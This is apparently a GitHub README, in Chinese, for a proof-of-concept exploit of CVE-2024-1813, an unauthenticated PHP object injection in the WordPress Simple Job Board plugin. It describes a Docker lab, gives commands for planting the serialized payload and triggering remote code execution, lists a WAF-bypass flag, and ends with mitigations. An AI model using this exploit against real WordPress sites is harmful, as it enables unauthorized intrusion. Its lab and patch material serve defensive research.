MobetaSec/CVE-2024-1813-POC

GitHub: MobetaSec/CVE-2024-1813-POC

针对 WordPress Simple Job Board 插件 CVE-2024-1813 未认证 PHP 对象注入漏洞的完整概念验证与实验环境,演示从认证前 payload 投递到管理员触发 RCE 的全链路。

Stars: 0 | Forks: 0

# CVE-2024-1813 - Simple Job Board ≤ 2.11.0 (WordPress) - 未认证 PHP 对象注入 ## 🎥 概念验证演示 端到端流程:访客通过公开申请表单存储一个序列化的 PHP 对象,管理员打开申请人列表,gadget chain 随即释放一个 webshell。 [![CVE-2024-1813 PoC 演示](https://static.pigsec.cn/wp-content/uploads/repos/2026/06/b1eb9a955e180811.gif)](poc.gif) **Simple Job Board** WordPress 插件 (PressTigers) 中的未认证 PHP 对象注入。访客通过公开申请表单存储一个序列化的 PHP 对象;当管理员随后打开申请人列表时,插件会对其进行反序列化,第三方的 gadget chain 会将其转化为远程代码执行。 | | | |---|---| | CVE | CVE-2024-1813 | | 插件 | Simple Job Board (PressTigers) | | 受影响版本 | ≤ 2.11.0 | | 已修复版本 | 2.11.1 | | 类型 | PHP 对象注入(不安全的反序列化) | | 认证 | 无需认证(认证前注入) | | 触发方式 | 管理员打开申请人列表(正常工作流) | | CVSS | 9.8 | ## 环境要求 - 用于 PoC 的 **Python 3.7+** - 仅使用标准库,无需安装任何包。 - 用于实验环境的 **Docker + Docker Compose**。 ## 仓库结构 ``` . ├── sjb_cve_2024_1813.py # the PoC (builds + sends the payload) ├── LICENSE └── lab/ ├── docker-compose.yml # WordPress + MariaDB + vulnerable plugins ├── setup/setup.sh # one-shot provisioning (wp-cli) └── trigger_exploit.sh # simulates the admin opening the applicants list ``` ## 实验环境 重现易受攻击的技术栈:WordPress 6.9.4 / PHP 8.3 / MariaDB 10.11,包含 Simple Job Board 2.10.8(源与汇聚点)以及 All In One SEO 4.5.6(gadget chain)。 ``` cd lab docker compose up -d # boot + auto-provision docker compose logs setup # prints the site URL, admin creds and job_id ``` 实验环境默认地址:`http://localhost:8081`,管理员 `admin` / `admin123!`。 ## 运行 exploit ``` # 1. 存储 payload(认证前)。将 4 替换为 setup 日志中的 job_id。 python3 sjb_cve_2024_1813.py http://localhost:8081 4 'id > /tmp/RCE_PROOF.txt' # 2. 触发 sink(模拟管理员打开申请人列表)。 cd lab && ./trigger_exploit.sh # 3. 检查结果。 docker exec sjb_lab_wp cat /tmp/RCE_PROOF.txt ``` 实用的 PoC flags: - `--print-only` - 构建并打印网络传输的 payload,不产生网络流量。 - `--field` - POST 字段名(必须包含 `name`;默认为 `jobapp_full_name`)。 - `--int-prefix '+'` - 用于绕过 WAF 的序列化长度前缀变体。 - `--proxy http://127.0.0.1:8080` - 通过 Burp 进行路由。 ## 缓解措施 - 将 Simple Job Board 更新至 **≥ 2.11.1**。 - 审查 `post_meta` 上任何显式的 `unserialize()` / `maybe_unserialize()`;建议使用 `unserialize($data, ['allowed_classes' => false])`。 - 阻止直接访问 `vendor/composer/installed.json`,以防 scoped library 版本被指纹识别。 - 移除暴露 POP gadgets 的未使用插件(Monolog、Guzzle、Symfony 等)。 ## 参考 - WPScan: https://wpscan.com/vulnerability/600cb9cf-2e93-4927-b449-edd7edf186d2/ - Wordfence: https://www.wordfence.com/threat-intel/vulnerabilities/id/89584034-4a93-42a6-8fef-55dc3895c45c - SVN patch diff 2.10.8 → 2.11.1: https://plugins.trac.wordpress.org/changeset?new=3051715%40simple-job-board&old=3038476%40simple-job-board - PHPGGC (Monolog chains): https://github.com/ambionics/phpggc ## 免责声明 仅供授权的安全测试和教育使用。未经所有者明确书面许可,严禁对任何系统运行此程序。 ## 许可证 MIT - 见 [LICENSE](LICENSE)。
标签:CISA项目, PHP反序列化, PoC, 安全漏洞验证, 文件完整性监控, 暴力破解, 版权保护, 请求拦截